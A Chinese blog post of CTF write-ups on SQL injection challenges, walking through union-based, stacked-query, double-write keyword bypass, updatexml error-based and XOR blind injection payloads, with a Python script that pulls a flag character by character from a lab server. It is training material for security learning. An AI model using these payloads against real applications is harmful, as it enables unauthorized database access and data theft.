首页 > 数据库 >WEB专项-SQL注入

WEB专项-SQL注入

时间:2024-04-01 21:23:17浏览次数:25  
标签:WEB 专项 -- qwe admin flag SQL table select

一、EasySQL

1.进入靶场,发现有用户名和密码两个输入框,首先想到的是便是爆破,但这工作量有点大,根据题目的提示,这里存在sql注入漏洞。
image
2.在用户名和密码输入框中随便输入一点数据,找到传参位置。
image
image
3.尝试在用户名中输入通用的sql注入语句,admin or 1=1 --qwe,发现没生效,有可能是没有闭合的关系。
image
image
4.在admin后加上’,”,’),”)尝试去闭合,成功找到flag。
image
image

二、随便注1

1.进入靶场,点击提交按钮,出现如下画面。
image
2.尝试进行sql注入,使用通用命令1’ and 1=2-- qwe判断是否存在sql注入漏洞,画面无显示,存在sql注入漏洞。
image
3.使用命令1' order by 2 -- qwe去判断字段数为多少,尝试过后,字段数为2。
image
4.使用命令1' union select 1,2 -- qwe去判断显错位,发现该靶场过滤了select、update、drop等命令。
image
5.因为没有过滤show函数,尝试使用堆叠注入,命令1';show databases; -- qwe去显示数据库。
image
6.有6个数据库,一个一个去尝试,发现最后是在supersqli数据库中,命令1’;use supersqli; -- qwe和1’;show tables; -- qwe,发现supersqli数据库中有两个表,分别为1919810931114514、words。
image
7.通过命令1';show columns from `1919810931114514`; -- qwe去查1919810931114514数据表中的字段名,注意纯数字的数据库名要用反引号包裹。
image
8.发现有flag字段,但是过滤了select函数,故得通过其他方法去获取。通过网上查阅,一共有三种方法可以绕过。第一种,利用prepare语句存储过程绕过;第二种,重命名绕过;第三种,handler语句代替select查询。我们这里采用重命名绕过法。

1';
alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

执行完上述命令后,在执行1' or 1=1 -- qwe,即可出现flag。
image

三、EasySQL

1.进入靶场,尝试了一些union、select、order等关键字,发现回显都是Nonono,那看来是过滤了这些关键字。
image
2.尝试1;show databases;堆叠注入命令,回显了6个数据库。
image
3.但在尝试了与第2题相似的思路发现行不通,回显一直都是Nonono。回到原点,输入1,2,3等数字,都有回显且回显一样,但是输入0却没有回显。
image
image
image
4.猜测sql查询语句中包含||逻辑运算符,查询语句大概是select $POST[query]||flag from。但是输入1等数字,只回显了1个字段,是否可以构造语句让其回显两个字段或者更多的字段,尝试输入*,1出现flag。
image

四、LoveSQL

1.进入靶场,根据题意就知道存在sql注入漏洞,先利用admin’ and 1=2去判断是否存在。返回如下,确实存在sql注入漏洞。
image
2.再尝试判断字段数,admin’ order by 1 -- qwe,经过尝试,存在3个字段。
image
image
3.判断显错位,注入语句:admin' and 1=2 union select 1,2,3 -- qwe,经过测试,显示位在第二和第三字段。
image
image
4.让显错位显示当前数据库名称,为geek。注入语句:admin' and 1=2 union select 1,database(),3 -- qwe
image
image
5.再去判断该数据库存在几个数据表,有两个表,名字分别为geekuser,l0ve1ysq1。 注入语句:admin' and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema='geek' limit 0,1 -- qwe
image
image
image
6.再判断各个表中存在哪些字段。注入语句:admin' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='geek' and table_name='geekuser' limit 0,1 -- qwe和admin' and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='geek' and table_name='l0ve1ysq1' limit 0,1 -- qwe。
geekuser表中的字段:
image
image
image
l0ve1ysq1表中的字段:
image
image
image
7.明显l0ve1ysq1存在猫腻,flag大概率存在于这个表中,故去一条一条的显示该表中的数据。注入语句:admin' and 1=2 union select 1,username,password from l0ve1ysq1 limit 0,1 -- qwe。经过尝试,在第十五条数据的时候出现了flag。
image

五、BabySQL

1.经过前几次的SQL注入题目,直接用通用命令admin' or 1=1 -- qwe注入。
image
2.发现命令中的or不见了,猜想应该是过滤了or,and等关键词,采用双写绕过的方式,命令admin' oorr 1=1 -- qwe。
image
3.成功绕过,继续判断字段数,命令admin' ororderder bbyy 3 -- qwe
image
4.以为order双写就行,没想到提示中就过滤了or,那就换个写法,命令admin' oorrder bbyy 3 -- qwe
image
5.根据判断,命令admin' oorrder bbyy 4 -- qwe报错,字段数为3。
image
6.判断显错位,命令admin' anandd 1=2 union select 1,2,3 -- qwe
image
7.提示过滤了union关键字,双写union绕过,命令admin' anandd 1=2 ununionion select 1,2,3 -- qwe
image
8.select关键字也被过滤了,继续双写select绕过,命令admin' anandd 1=2 ununionion selselectect 111,2222,3333 -- qwe
image
9.显错位为第二个字段和第三个字段,然后显示当前数据库,命令admin' anandd 1=2 ununionion selselectect 111,database(),3333 -- qwe
image
10.当前数据库名为geek,继续判断该数据库中存在哪些数据表,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 from information_schema.tables where table_schema='geek' -- qwe
image
11.where又被过滤了,只好继续双写绕过,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 from information_schema.tables whwhereere table_schema='geek' -- qwe
image
12.from中的ro又被过滤了,继续双写绕过,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 frfromom information_schema.tables whwhereere table_schema='geek' -- qwe
image
13.information中or也被过滤了,继续双写绕过,命令admin' anandd 1=2 ununionion selselectect 111,table_name,3333 frfromom infoorrmation_schema.tables whwhereere table_schema='geek' limit 0,1 -- qwe
image
image
14.存在两个数据表(b4bsql、geekuser),根据前两天的经验,flag应该在b4bsql数据表中,故判断该表存在哪些字段,命令admin' anandd 1=2 ununionion selselectect 111,column_name,3333 frfromom infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql' limit 0,1 -- qwe
image
image
image
15.该表存在id、username、password三个字段,读取该表中的数据,命令admin' anandd 1=2 ununionion selselectect 111,username,passwoorrd frfromom b4bsql limit 0,1 -- qwe
image
16.读到第七条数据时,出现flag,命令admin' anandd 1=2 ununionion selselectect 111,username,passwoorrd frfromom b4bsql limit 7,1 -- qwe
image

六、BlackList

1.通过注入1' or 1=1 -- qwe,页面显示正常;传参1' and 1=1 -- qwe,页面显示不正常,判断这里存在sql注入。
image
image
2.传入通用命令:1';select 1,2,3; -- qwe。发现被拦截了,存在过滤规则。
image
3.但是没有过滤show函数,可以尝试命令:1';show databases; -- qwe查看数据库。
image
4.经过尝试,flag在supersqli数据库中,命令:1’;use `supersql`; -- qwe和1’;show tables from `supersqli`; -- qwe查看数据表名。
image
5.命令1';show columns from `FlagHere`; -- qwe查看字段名。
image
6.由于过滤规则中过滤了rename、alter函数,所以这里只能采用handler函数进行读取,命令:1';handler FlagHere open;handler FlagHere read first; handler FlagHere close; -- qwe
image

七、Hack World

1.题目告诉我们表名叫flag,字段名也叫flag,且传参值是文章的id。当输入1时显示如下:
image
不输入时显示如下:
image
传1 or 1=2时显示如下:
image
2.存在过滤规则,基本可判定是布尔型盲注,尝试传入1^1显示如下:
image
传入10显示如下,看来运算可以使用。
image
3.下面开始构造payload:1^(ascii(substr(select flag from flag),0,1)>65),显示如下:
image
4.猜想可能是过滤了空格,所以用()进行代替,payload:0^(ascii(substr((select(flag)from(flag)),1,1))>0),显示如下:
image
说明(ascii(substr((select(flag)from(flag)),1,1))>0)这个语句是成立的。
5.接下来就是去一个个尝试了,所以这里编写脚本进行跑包。特别要注意的是time.sleep语句,如果没有这个语句,会造成请求服务器速度过快,导致获取的flag会有乱码或者不正确。
image

八、Babysqli

1.使用最简单的注入命令,右击查看源代码。
image
image
2.源代码中有一串字符串,由大写字母和数字组成,是base32加密,进行解密。
image
3.解密出来的字符串最后有两个等号,是base64加密,继续解密。
image
4.解密出来的就是sql的查询语句。根据语句可以推测出后台的判断是判断你输入的用户名是否存在于数据库中,然后再进行密码的判断,若相等则成功。为了使注册成功,union中输入的密码应该与password框中输入的密码一致。构造payload:1' union select 'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- qwe。其中5f4dcc3b5aa765d61d8327deb882cf99是password的hash加密值。
image
image
5.提示列数量不一致,经过尝试,修改payload:1' union select 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- qwe。
image
image
6.靶场也给出了源码,如下:
image
根据代码,就可以很好的理解注入过程了。过滤了(、)等符号,关键代码是$arr[1]==”admin”,md5($password) == $arr[2],所以payload才会设计成:1' union select 1,'admin','5f4dcc3b5aa765d61d8327deb882cf99' -- qwe,把admin和md5加密后的值放在第二和第三的位置上。

九、HardSQL

1.用最简单的注入命令:1' or 1=1 -- qwe,发现被过滤了。
image
2.根据大佬经验,可以通过fuzz测试,去判断哪些关键字被过滤了。
image
3.fuzz测试中的union联合注入等关键字被过滤了,空格也被过滤了,但可以用括号代替。updatexml关键字没有被过滤,这里可以尝试使用报错注入。payload:1'or(updatexml(1,concat(0x7e,(database()),0x7e),1))#。
image
4.得到数据库为geek,接下来就去获取数据表名。payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))#。
image
5.接着获取字段名,payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
image
6.获取字段值,payload:1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),1))#
image
7.只获取到了一半的flag,下面就是想办法获取另一半的flag。用right函数,构造payload:
1'or(updatexml(1,concat(0x7e,right((select(password)from(H4rDsq1)),30)),1))#
image
8.将两个flag拼接在一起即可获得flag。

总结:
sql注入的一些方法
(1)联合查询注入:采用union、group_concat等函数
(2)报错注入:采用updatexml、extractvalue等函数
updatexml():
函数语法:updatexml(XML_Document,XPath_string,new_value)
我们通常在第二个xpath参数填写我们要查询的内容
例:updatexml(1,concat(0x7e,(select user()),0x7e),1)前后添加~使其不符合xpath格式而报错。

extractvalue():
函数语法:extractvalue(XML_Document,XPath_string)
利用原理与updatexml一致
例:extractvalue(1,concat(0x7e,(select user()),0x7e))
(3)盲注:substr、ord、right等函数
延时盲注:if、sleep函数
可以用于比较的一些关键字:like、regexp(不区分大小写,需要区分大小写敏感需要加上binary关键字)、between、in、^等

十、[WUSTCTF2020]颜值成绩查询。

1.输入1,2,3,4,5都有输出,6以上的数字显示学生号不存在。
image
image
2.经过尝试,此为sql盲注,可用异或运算,10有输出。判断数据库长度:0(length(database())=3)。
image
3.判断数据库名。
0^(ascii(substr(database(),1,1))=99)
0^(ascii(substr(database(),2,1))=116)
0^(ascii(substr(database(),3,1))=102)
数据库名为ctf。
4.判断数据表。
image
5.读取flag表中的字段。

for i in range(1, 11):
    for j in range(1, 128):
        temp[
            "stunum"] = "0^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where((table_schema=database())and(table_name='flag')))," + str(
            i) + ",1))=" + str(j) + ")"
        re = requests.get(url, params=temp)
        if "Hi admin" in re.text:
            print(j)
            table_name = table_name + chr(j)
            break
        time.sleep(0.25)
print(table_name)

image
6.读取字段值。

import requests
import time

url = "http://6582bcce-fd29-4c3e-9e74-0ed29c78b80a.node4.buuoj.cn:81/index.php"
temp = {"stunum": 1}
re1 = requests.get(url, params=temp).text
table_name = ''
flag = ''

for i in range(1, 43):
    for j in range(1, 128):
        temp[
            "stunum"] = "0^(ascii(substr((select(group_concat(value))from(flag))," + str(
            i) + ",1))=" + str(j) + ")"
        re = requests.get(url, params=temp)
        if "Hi admin" in re.text:
            print(chr(j))
            table_name = table_name + chr(j)
            break
        time.sleep(0.25)
print(table_name)
#         if "}" in table_name:
#             print(table_name)
#             break

image

十一、Fakebook

1.随机注册一个账号
image
image
2.右击查看源代码,发现存在view.php。
image
3.访问该网址,发现在url中存在注入点。
image
image
4.判断字段数为4.
image
image
5.联合查询。
image
6.发现对有些关键字进行了过滤,采用/**/进行绕过。
image
7.发现调用了反序列化函数,怀疑该网址中存在其他文件。用目录扫描工具果然扫出了flag.php和user.php.bak两个文件。
image
8.根据报错信息可以得到getBlogContents函数会被调用,该函数又是返回blog地址的get函数,可以结合序列化函数构造payload。
image
9.传参访问。
image
10.源代码中存在一串base64加密的字符串,点击链接即可。
image
image

标签:WEB,专项,--,qwe,admin,flag,SQL,table,select
From: https://www.cnblogs.com/sbhglqy/p/18109375

相关文章

  • JPA不识别MySQL的枚举类型
    1枚举好用吗?数据字典型字段,枚举比Integer好:限定值,只能赋值枚举的那几个实例,不能像Integer随便输,保存和查询的时候特别有用含义明确,使用时不需要去查数据字典显示值跟存储值直接映射,不需要手动转换,比如1在页面上显示为启用,0显示禁用,枚举定义好可以直接显示基于enum可以添加......
  • 深入学习MySQL1——体系结构、常见引擎、索引
    MySQL体系结构连接层:提供一些mysql的数据连接对象、用户校验、权限认证等服务服务层:在本层实现了一些核心功能,如SQL接口,缓存查询(8.0之后的版本已取消该功能)、SQL分析和优化,部分内置函数的执行。所有的跨存储引擎的功能都在这一层实现,如:过程、函数等。在该层,服务器会解析查询并......
  • MySQL日常练习——多表查询
    1、创建DDL——学生表——成绩表CREATETABLE`student`(`id`int(11)NOTNULLAUTO_INCREMENTCOMMENT'学号',`createDate`datetimeDEFAULTNULL,`userName`varchar(20)DEFAULTNULL,`pwd`varchar(36)DEFAULTNULL,`phone`varchar(11)DEFAULTNULL......
  • Mysql 常用SQL语句
    1、查看mysql中所有的数据库, show databases;2、创建库 createdatabase库名;(也可以用 create databaseifnotexists 库名; 表示如果库不存在再创建)例:create databaseifnotexists ecology;3、删除库 drop database 库名称4、创建一张......
  • 使用node更加方便的操作mysql数据库的小工具
    这是一个自己封装的小工具,能够更加方便的操作数据库地址:工具首页git仓库地址功能还在继续开发当中…安装npminstallmysqinfo已经引入mysql工具包,无需在项目中再次引入mysql工具包导入constdb=require('mysqinfo')获取数据库对象//db.dbconnect('m......
  • MISC专项-其他类型
    一、二维码1.解压出来是一张二维码,用微信进行扫码,发现扫出来的不是flag。2.用winhex打开该文件,发现里面存储了一个名为number.txt的文件。3.将图片的后缀名改为zip,解压发现里面确实有一个txt文件。4.点击该文件,发现需要密码,尝试暴力破解方法。5.输入密码,成功获得flag。......
  • SQLite 查询优化器概述(九)
    返回:SQLite—系列文章目录   上一篇:SQLite中的隔离(八)下一篇:SQLite—系列文章目录   1. 引言本文档概述了查询规划器和优化器如何用于SQLite工作。给定一个SQL语句,可能有几十个、几百个甚至实现该语句的数千种方法,具体取决于复杂性语句本身和基础数据库架......
  • MISC专项-流量分析
    一、wireshark1.解开压缩包,里面是一段流量包,用wireshark打开。2.根据题目提示,这是管理员登录网站一段流量包,那必定有和浏览器的交互,所以直接进行过滤,筛选出http包,里面有一个登录的包。3.查看该包,在最后看到了flag和密码。二、easycap1.用wireshark打开pcap文件,里面是两台......
  • SQL注入原理及步骤以及黑名单绕过方式
    原理mysql5.0以上的版本存在一个information_schema数据库,information_schema数据库包含3个表如下:步骤判断是否存在sql注入:分别输入不同的id值:——有结果:1’and1=1#——无结果:1’and1=2#——出错:1'——正常:1''(两个单引号)换成双引号同理。判断查询结果有多少列:—......
  • MISC专项-图片隐写
    一、大白1.打开压缩包,发现是一张图片,但是明显的不完整,下面少了一块。2.右击图片查看属性,该图片的宽度和高度分别是679、256。3.用winhex打开该图片,去修改它的高度,256对应的16进制为100,对找到相应的地方进行修改,改成300即可。4.保存修改,再次打开图片即可得到flag。二、隐......